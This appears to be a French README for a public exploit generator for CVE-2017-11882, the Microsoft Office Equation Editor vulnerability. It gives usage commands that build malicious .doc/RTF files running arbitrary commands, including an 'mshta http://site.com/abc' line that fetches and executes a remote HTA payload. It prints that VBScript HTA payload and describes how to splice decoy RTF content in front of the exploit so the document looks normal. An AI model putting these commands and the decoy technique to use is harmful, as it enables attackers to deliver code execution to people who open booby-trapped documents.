
Générateur d'exploits basé sur Python pour CVE-2017-11882 (vulnérabilité de l'éditeur d'équations Microsoft Office) avec prise en charge de shellcode personnalisé, de charges utiles mshta et d'intégration de documents RTF.
Le script original 43b provient de https://github.com/embedi/CVE-2017-11882
Le script original 109b provient de https://github.com/unamer/CVE-2017-11882/ (Chapeau bas, le code d'unamer peut désormais exécuter du shellcode~)
CVE-2017-11882 : https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Recherche : https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Analyse du correctif : https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Démonstration de l'exploitation du PoC : https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
Utilisation de mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La longueur de la commande 43b ne peut pas dépasser 43 octets, celle de la commande 109b ne peut pas dépasser 109 octets
Le dossier example contient un fichier .rtf qui exploite la vulnérabilité CVE-2017-11882 et lance la calculatrice sur le système.
En fait, la méthode du contenu personnalisé a été apprise d'autres experts ; elle avait déjà été transformée en script il y a longtemps. Je n'avais pas prévu de la rendre publique, mais comme quelqu'un du groupe l'a déjà publiée, je n'ai pas le choix, je dois la rendre publique. En réalité, la méthode est très simple : il suffit d'ouvrir un document rtf normal avec un éditeur de texte, de copier tout le contenu avant {*\datastore, puis de remplacer le contenu avant {\object\objautlink\objupdate. Il est donc très simple de l'intégrer dans un script.
Méthode d'ajout de contenu personnalisé, choisissez l'un des scripts :
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Le contenu personnalisé se trouve dans input.rtf.
Concernant le dernier script d'exploitation de 605 octets d'unamer, je ne le mettrai pas à jour ; si vous êtes intéressé, modifiez-le vous-même.